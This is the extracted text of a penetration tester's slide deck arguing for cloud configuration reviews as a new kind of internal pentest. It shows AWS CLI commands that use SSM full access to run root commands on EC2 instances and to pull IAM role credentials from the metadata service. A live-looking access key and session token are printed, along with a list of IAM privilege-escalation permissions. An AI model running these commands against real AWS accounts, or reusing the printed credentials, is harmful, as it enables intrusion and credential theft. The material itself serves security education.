
Cloud configuration review – the new internal network pentest

## whoami

- ♦ Eduard Agavriloae
- ♦ Penetration tester at KPMG Romania KPMG



- ♦ AWS Security Specialty
- ♦ Certified Hybrid Multi-Cloud Red Team Specialist





 Big cloud providers have the capabilities to hold your entire on-premises infra in their environment


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- ♦ Orgs do not have the same "assume breach" attitude towards testing for Cloud
- ♦ Shared Responsability model: services are secure, the way they are used is up to you

#### AWS Microsoft AD (Standard Edition)



Source: https://www.blogarama.com/gadgets-blogs/537752-aws-blogs-blog/22448319-introducing-directory-service-for-microsoft-active-standard-edition

## "I'm using Cloud so I'm secure"

#### ♦ Facebook data breach 2021

- ♦ Public S3 bucket managed by two 3<sup>rd</sup> parties
- ♦ 144 GB of data and a database with plaintext passwords for 22.000 accounts
- $\diamond$  Issue reported in January to AWS and 3<sup>rd</sup> party
- ♦ Issue solved in April

## "I'm using Cloud so I'm secure"

#### ♦ Tesla breach 2018

- ♦ GCP hosted Kubernetes admin portal exposed to the internet
- $\diamond$  Inside were access credentials to AWS
- ♦ Hackers installed crypto mining in AWS



#### Configuration review will:


Not identify vulnerabilities within the web application/EC2 instance


Will identify misconfigurations that would mitigate possible vulnerabilities within the web app




#### Web pentest will:

Do the exact opposite







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- Configuration review

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
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
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- ♦ Architectural flaws
- ♦ Cross-tenant analysis
  - Most organizations are using segregation services like AWS Organizations, Azure Tenants or GCP Folders

## How bad can it be?


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- We can run system commands as root or nt authority\system on any EC2 instance
- ♦ This abuses a built-in feature within AWS

AmazonSSMFullAccess Provides full access to Amazon SSM.	
1 - {	
2	"Version": "2012-10-17",
3 -	"Statement": [
4 -	{
5	"Effect": "Allow",
6 -	"Action": [
7	"cloudwatch:PutMetricData",
8	"ds:CreateComputer",
9	"ds:DescribeDirectories",
10	"ec2:DescribeInstanceStatus",
11	"logs:*",
12	"ssm:*",
13	"ec2messages:*"
14	1
15	"Resource": "*"
16	
10	},

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- This can be executed from the internet even if the EC2 instance doesn't allow communication with your IP

### RCE as admin on any EC2 instance

PS D:\> aws ssm send-command --instance-ids i-05389205ec7ce8456 --document-name "AWS-RunShellScript" --parameters commands=id | Select-String CommandID

"CommandId": "fldcbbe0-13f8-49ad-b04c-467146451ec1",

PS D:\> aws ssm list-command-invocations --command-id f1dcbbe0-13f8-49ad-b04c-467146451ec1 --details | Select-String '"Output"'

"Output": "uid=0(root) gid=0(root) groups=0(root)\n",


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
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- Post exploitation?
- ♦ Similar to internal pentest, except you're already admin everywhere
- ♦ A particular case:
  - ♦ Exfiltrate access credentials of other EC2 instances in other to elevate privileges in AWS





PS D:\> aws ssm send-command --instance-ids i-05389205ec7ce8456 `

>> --document-name "AWS-R<u>unShellScript" `</u>

>> --parameters commands="curl http://169.254.169.254/latest/meta-data/iam/security-credentials/" `

>> | Select-String CommandId

"CommandId": "280c9eea-3eea-4b6b-a25d-4af5409af662",

PS D:\> aws ssm list-command-invocations --command-id 280c9eea-3eea-4b6b-a25d-4af5409af662 --details | Select-String '"Output"'

"Output": "ssm-full-access-role n------ERROR-----\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Up Total Θ Θ Θ Θ Θ --:--:-- --:---:--0\r100 Spent Left Speed\n\r 0 Θ Θ 20 100 load 2 0 --:--:- --:-- --:-- 10000\n", Θ 8206 Θ Θ

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"CommandId": "f261a587-4809-4528-b699-19135e68795d",

PS D:\> aws ssm list-command-invocations --command-id f261a587-4809-4528-b699-19135e68795d --details | Select-String '"Output"'

"Output": "{\n \"Code\" : \"Success\",\n \"LastUpdated\" : \"2022-10-13T11:44:58Z\",\n \"Type\" : \"AWS-HMAC\",\n \"AccessKeyId\" : \"ASIATYW2S63KNRSHUMPA\",\n \"SecretAccessK ey\" : \"IzSizTUe40vxLX62+g90XYR4vSo4R9K5b4DWe0Z0\",\n \"Token\" : \"IQoJb3JpZ2luX2VjENz//////WEaCXVzLWVhc3QtMSJGMEQCIDfjmKSSBs50iQQK PO9suzTwsjsH4vVSCtZaNwUrCZfrAiAlFp9da2+1kNsUr38L30vOmJ1X+7xBpZ0DTnvMWO dzvCrWBAil///////8BEAAaDDI10TIzMDIwMTU1NiIMjp0QZHpFUezS9gh+KgoELI5AKm/bTfacGipvmu1CArzhdhtP034plJx9IuNlePULnfdfS0+K+JNm5BSiSybS951zesL7 bhP4YGUC/hVlZn1+1v55AIEqMTBmzPmxYmN7RnXhJh/7HKHGAeV40POskK0FhfI20mnyDR ByA9t26o0WQVAgQSET55Adw7SzP0oOn1LDYdhfXZRgKt0jteQT6lA+cIozLnW1N3d3q6oRCW+88o4HvSDN2qtHXU2uPjCElvducO0H5IuZSg9tIrkSv23SQcv4Lc64Zbondb89b/Au AntQZEpXP4I0Fbgap6PHtZ8YTjZEQrVdaxriCsF88eH+mA2lb1EBKgopEKPyhHeoDMl0zy Oily/sRWS32J0ntb84tVX2XHowxiZiTLksyswMmBKPTJZLBKQvF5aCRkAo1RFpD7YkdeFTUtYOtStko2Kth7Lj/1iBgtl9aiplSiAQrwKLN4y9k5RNuZMHxbTFJg6dglWnDsbtG9Vs GwlOgGc90+B+mLXwZUsa4G2YL9AtDDS0ZLomKHC0PukbMEoJMXYK20js10ZUaPGEpTN6mo iLF1TofXGTJ7P5yVam4n/DioO1DYsh+nI+4KzQP4k5u3/ukh2IQnjAfXDNlQ7EmY02/+ZJ/z3INq8R1/nU3M759pWop/SCUGT4KzbNtiFKdoN8iOq1UrSCJp0BiMBWwWYqKxmgXmVD BzkyAl9iUAn2CvG41SBHLxbxNDv4yB+9/kAHpKIXAfgw6/SfmgY6qgFEv2BPds+BgVSw/p OcxDlY5BRU6cH+IVVPVfUj+T4a2kecgxMgtIookut0bH1/7gIUtKT0umATAKvtyUtt8MSdChppFXKYZp3bJiXQCy1/a/M4NseZTIdhVk8nvAT8pQg4X9Vg2NMJ5vv0frmzkyZFbWr9 viFPyYe14prs2Ikz/YGP01XAXi3/J1dNslqA/lRAEaYeeMlBP2CdM+WLSB6LFZVQaJwLzO gGIg==\".\n \"Expiration\" : \"2022-10-13T18:20:47Z\"\n}\n-----ERROR-----\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Uplo

# Multiple privesc vectors in a single policy

- ♦ lambda:UpdateFunctionConfiguration
- ♦ iam:CreatePolicyVersion
- iam:SetDefaultPolicyVersion
- ♦ iam:PassRole + ec2:RunInstances
- ♦ iam:CreateAccessKey
- iam:CreateLoginProfile
- iam:UpdateLoginProfile
- iam:AttachUserPolicy
- iam:AttachGroupPolicy
- iam:AttachRolePolicy

- ♦ iam:AttachRolePolicy
- ♦ iam:PutUserPolicy
- \* iam:PutGroupPolicy
- ♦ iam:PutRolePolicy
- iam:AddUserToGroup
- iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
- iam:PassRole + lambda:CreateFunction + lambda:AddPermission
- lambda:UpdateFunctionCode

# Weak password policy

- Found with automation testing
- Configuration exposes users to password attacks

#### aws iam get-account-password-policy

"PasswordPolicy": {
 "MinimumPasswordLength": 6,
 "RequireSymbols": false,
 "RequireNumbers": false,
 "RequireUppercaseCharacters": false,
 "RequireLowercaseCharacters": false,
 "AllowUsersToChangePassword": true,
 "ExpirePasswords": false,
 "HardExpiry": false
}

# Missing credentials management

#### Users (24) Info

An IAM user is an identity with long-term credentials that is used to interact with AWS in an account.						
Q. Find users by username or access key						
01	User name 🗢	Last activity $\bigtriangledown$	Password age	▲ Console last sign-in マ	Active key age	Access key last used
		🕑 3 days ago	A 2145 days ago	February 18, 2022, 10:10 (UTC+	▲ 543 days ago	🔺 136 days ago
0		🕑 5 days ago	🛕 1876 days ago	February 15, 2022, 15:44 (UTC+	1875 days ago	12 days ago
		2 days ago	🛕 1634 days ago	February 16, 2022, 15:42 (UTC+	▲ 1683 days ago	2 days ago
		🕑 3 days ago	🛕 1283 days ago	February 10, 2022, 16:16 (UTC+	A 483 days ago	3 days ago
0		1 hour ago	🛕 1203 days ago	February 21, 2022, 10:31 (UTC+	1203 days ago	11 days ago
0		2 days ago	🔺 1090 days ago	February 18, 2022, 12:02 (UTC+	🛕 1010 days ago	2 days ago
		🕑 3 days ago	A 887 days ago	February 17, 2022, 11:33 (UTC+	A 887 days ago	3 days ago
0		🕑 26 days ago	A 842 days ago	January 24, 2022, 11:13 (UTC+	A 801 days ago	🥑 26 days ago
0		🛕 289 days ago	🛕 724 days ago	May 07, 2021, 12:07 (UTC+03:00)	▲ 684 days ago	🛕 298 days ago
		🗢 73 days ago	🛦 606 days ago	December 09, 2021, 21:53 (UTC	▲ 606 days ago	Never
		2 days ago	🛕 577 days ago	February 17, 2022, 17:09 (UTC+	🛕 111 days ago	2 days ago
0		3 days ago	🛕 577 days ago	February 15, 2022, 12:08 (UTC+	▲ 577 days ago	3 days ago
0		😋 4 days ago	A 537 days ago	February 16, 2022, 17:41 (UTC+	🕑 5 days ago	4 days ago

 $\sim$ 

Dalat

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
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- Identifies weak points that might impose a security risk

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- ♦ Good for cross-account analysis



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- The write permission will not be enumerate

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#### Configuration review

- Quickly identify the version of the metadata service in use
- In most of the cases is easy to identify privilege escalation vectors

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Did you know we have a blog?
 <u>https://securitycafe.ro/</u>